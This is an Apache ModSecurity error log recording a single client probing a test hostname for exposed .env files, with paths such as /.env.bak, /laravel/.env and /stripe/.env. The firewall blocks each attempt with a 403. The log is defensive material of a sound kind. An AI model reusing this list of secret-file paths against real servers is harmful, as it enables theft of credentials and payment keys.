[Tue Feb 24 11:35:22.695182 2026] [:error] [pid 2297969] [client 185.177.72.60:54970] [client 185.177.72.60] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aZ1-6lBkv31AAgJz88by2QAAAAs&quot;]
[Tue Feb 24 11:35:22.695396 2026] [:error] [pid 2297969] [client 185.177.72.60:54970] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aZ1-6lBkv31AAgJz88by2QAAAAs&quot;]
[Tue Feb 24 11:35:22.695594 2026] [:error] [pid 2297969] [client 185.177.72.60:54970] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aZ1-6lBkv31AAgJz88by2QAAAAs&quot;]
[Tue Feb 24 11:35:22.718180 2026] [:error] [pid 2297969] [client 185.177.72.60:54970] [client 185.177.72.60] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local&quot;] [unique_id &quot;aZ1-6lBkv31AAgJz88by2gAAAAs&quot;]
[Tue Feb 24 11:35:22.718439 2026] [:error] [pid 2297969] [client 185.177.72.60:54970] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local&quot;] [unique_id &quot;aZ1-6lBkv31AAgJz88by2gAAAAs&quot;]
[Tue Feb 24 11:35:22.718642 2026] [:error] [pid 2297969] [client 185.177.72.60:54970] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local&quot;] [unique_id &quot;aZ1-6lBkv31AAgJz88by2gAAAAs&quot;]
[Tue Feb 24 11:35:22.739968 2026] [:error] [pid 2297969] [client 185.177.72.60:54970] [client 185.177.72.60] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /assets/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/assets/.env&quot;] [unique_id &quot;aZ1-6lBkv31AAgJz88by2wAAAAs&quot;]
[Tue Feb 24 11:35:22.740198 2026] [:error] [pid 2297969] [client 185.177.72.60:54970] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/assets/.env&quot;] [unique_id &quot;aZ1-6lBkv31AAgJz88by2wAAAAs&quot;]
[Tue Feb 24 11:35:22.740404 2026] [:error] [pid 2297969] [client 185.177.72.60:54970] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/assets/.env&quot;] [unique_id &quot;aZ1-6lBkv31AAgJz88by2wAAAAs&quot;]
[Tue Feb 24 11:35:22.762654 2026] [:error] [pid 2297969] [client 185.177.72.60:54970] [client 185.177.72.60] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /app/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env&quot;] [unique_id &quot;aZ1-6lBkv31AAgJz88by3AAAAAs&quot;]
[Tue Feb 24 11:35:22.762907 2026] [:error] [pid 2297969] [client 185.177.72.60:54970] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env&quot;] [unique_id &quot;aZ1-6lBkv31AAgJz88by3AAAAAs&quot;]
[Tue Feb 24 11:35:22.763140 2026] [:error] [pid 2297969] [client 185.177.72.60:54970] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env&quot;] [unique_id &quot;aZ1-6lBkv31AAgJz88by3AAAAAs&quot;]
[Tue Feb 24 11:35:22.989150 2026] [:error] [pid 2297969] [client 185.177.72.60:54970] [client 185.177.72.60] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /docker/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/.env&quot;] [unique_id &quot;aZ1-6lBkv31AAgJz88by4AAAAAs&quot;]
[Tue Feb 24 11:35:22.989388 2026] [:error] [pid 2297969] [client 185.177.72.60:54970] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/.env&quot;] [unique_id &quot;aZ1-6lBkv31AAgJz88by4AAAAAs&quot;]
[Tue Feb 24 11:35:22.989575 2026] [:error] [pid 2297969] [client 185.177.72.60:54970] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/.env&quot;] [unique_id &quot;aZ1-6lBkv31AAgJz88by4AAAAAs&quot;]
[Tue Feb 24 11:35:28.247271 2026] [:error] [pid 2297904] [client 185.177.72.60:54980] [client 185.177.72.60] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /laravel/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/.env&quot;] [unique_id &quot;aZ1-8O97g-gyYBefapkejAAAAAA&quot;]
[Tue Feb 24 11:35:28.247509 2026] [:error] [pid 2297904] [client 185.177.72.60:54980] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/.env&quot;] [unique_id &quot;aZ1-8O97g-gyYBefapkejAAAAAA&quot;]
[Tue Feb 24 11:35:28.247737 2026] [:error] [pid 2297904] [client 185.177.72.60:54980] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/.env&quot;] [unique_id &quot;aZ1-8O97g-gyYBefapkejAAAAAA&quot;]
[Tue Feb 24 11:35:28.270113 2026] [:error] [pid 2297904] [client 185.177.72.60:54980] [client 185.177.72.60] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /payment/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/payment/.env&quot;] [unique_id &quot;aZ1-8O97g-gyYBefapkejQAAAAA&quot;]
[Tue Feb 24 11:35:28.270370 2026] [:error] [pid 2297904] [client 185.177.72.60:54980] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/payment/.env&quot;] [unique_id &quot;aZ1-8O97g-gyYBefapkejQAAAAA&quot;]
[Tue Feb 24 11:35:28.270559 2026] [:error] [pid 2297904] [client 185.177.72.60:54980] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/payment/.env&quot;] [unique_id &quot;aZ1-8O97g-gyYBefapkejQAAAAA&quot;]
[Tue Feb 24 11:35:28.294761 2026] [:error] [pid 2297904] [client 185.177.72.60:54980] [client 185.177.72.60] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /admin/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;aZ1-8O97g-gyYBefapkejgAAAAA&quot;]
[Tue Feb 24 11:35:28.295003 2026] [:error] [pid 2297904] [client 185.177.72.60:54980] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;aZ1-8O97g-gyYBefapkejgAAAAA&quot;]
[Tue Feb 24 11:35:28.295209 2026] [:error] [pid 2297904] [client 185.177.72.60:54980] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;aZ1-8O97g-gyYBefapkejgAAAAA&quot;]
[Tue Feb 24 11:35:28.316895 2026] [:error] [pid 2297904] [client 185.177.72.60:54980] [client 185.177.72.60] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.example&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;aZ1-8O97g-gyYBefapkejwAAAAA&quot;]
[Tue Feb 24 11:35:28.317127 2026] [:error] [pid 2297904] [client 185.177.72.60:54980] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;aZ1-8O97g-gyYBefapkejwAAAAA&quot;]
[Tue Feb 24 11:35:28.317329 2026] [:error] [pid 2297904] [client 185.177.72.60:54980] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;aZ1-8O97g-gyYBefapkejwAAAAA&quot;]
[Tue Feb 24 11:35:28.338853 2026] [:error] [pid 2297904] [client 185.177.72.60:54980] [client 185.177.72.60] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /core/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env&quot;] [unique_id &quot;aZ1-8O97g-gyYBefapkekAAAAAA&quot;]
[Tue Feb 24 11:35:28.339107 2026] [:error] [pid 2297904] [client 185.177.72.60:54980] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env&quot;] [unique_id &quot;aZ1-8O97g-gyYBefapkekAAAAAA&quot;]
[Tue Feb 24 11:35:28.339319 2026] [:error] [pid 2297904] [client 185.177.72.60:54980] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env&quot;] [unique_id &quot;aZ1-8O97g-gyYBefapkekAAAAAA&quot;]
[Tue Feb 24 11:35:28.603623 2026] [:error] [pid 2297904] [client 185.177.72.60:54980] [client 185.177.72.60] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /stripe/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/stripe/.env&quot;] [unique_id &quot;aZ1-8O97g-gyYBefapkelAAAAAA&quot;]
[Tue Feb 24 11:35:28.603864 2026] [:error] [pid 2297904] [client 185.177.72.60:54980] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/stripe/.env&quot;] [unique_id &quot;aZ1-8O97g-gyYBefapkelAAAAAA&quot;]
[Tue Feb 24 11:35:28.604087 2026] [:error] [pid 2297904] [client 185.177.72.60:54980] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/stripe/.env&quot;] [unique_id &quot;aZ1-8O97g-gyYBefapkelAAAAAA&quot;]
